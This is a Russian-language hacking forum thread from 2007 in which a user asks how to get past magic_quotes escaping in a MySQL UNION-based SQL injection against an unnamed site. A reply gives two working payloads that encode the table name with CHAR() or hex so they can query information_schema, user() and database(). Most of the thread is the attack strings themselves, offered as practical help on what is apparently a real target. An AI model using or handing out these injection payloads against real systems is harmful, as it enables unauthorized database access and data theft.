Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Обход кавычки в mysql-inj? |
20.11.2007, 03:56
|
UID: 42552
USER: orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670
Репутация:
15
|
|
Обход кавычки в mysql-inj?
Версия
5.0.22-log
Нужно обойти кавычку...
=====
При построении запроса:
+union+select+1,column_name,3,4,5,6,7,8,user(),10, database(),12,13+from+information_schema.columns+w here+table_name='USER_PRIVILEGES'+limit+1,1/*
=====
Мускул выдает, что:
<...> '\'USER_PRIVILEGES\' limit 1,1/*' at line 1
Мэджик квотес судя по всему включены... Обойти как-то можно?
ЗЫ. Пробовал перевести в хекс - не получилось.
|
|
|
20.11.2007, 03:59
|
UID: 29833
USER: Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869
Репутация:
3033
|
|
Что значит не получилось в хекс перевести?
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
|
|
|
|
20.11.2007, 04:11
|
UID: 42552
USER: orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670
Репутация:
15
|
|
переверсти в хекс получилось, результат запроса не изменился
|
|
|
|
20.11.2007, 04:14
|
UID: 14895
USER: +toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379
Репутация:
3812
|
|
Надеюсь ты ковычки тоже в хекс не переводил...
__________________
|
|
|
|
20.11.2007, 04:18
|
UID: 28932
USER: Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734
Репутация:
1917
|
|
вот тебе два варианта:
+union+select+1,column_name,3,4,5,6,7,8,user(),10, database(),12,13+from+information_schema.columns+w here+table_name=CHAR(85,83,69,82,95,80,82,73,86,73 ,76,69,71,69,83)+limit+1,1/*
+union+select+1,column_name,3,4,5,6,7,8,user(),10, database(),12,13+from+information_schema.columns+w here+table_name=0x555345525F50524956494C45474553+l imit+1,1/*
__________________
Карфаген должен быть разрушен...
|
|
|
|
20.11.2007, 04:27
|
UID: 42552
USER: orcismylife
Познающий
Регистрация: 01.10.2007
Сообщений: 40
Провел на форуме:
172670
Репутация:
15
|
|
йа дибилко. забыл про char().. всем огромное спасибо.
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
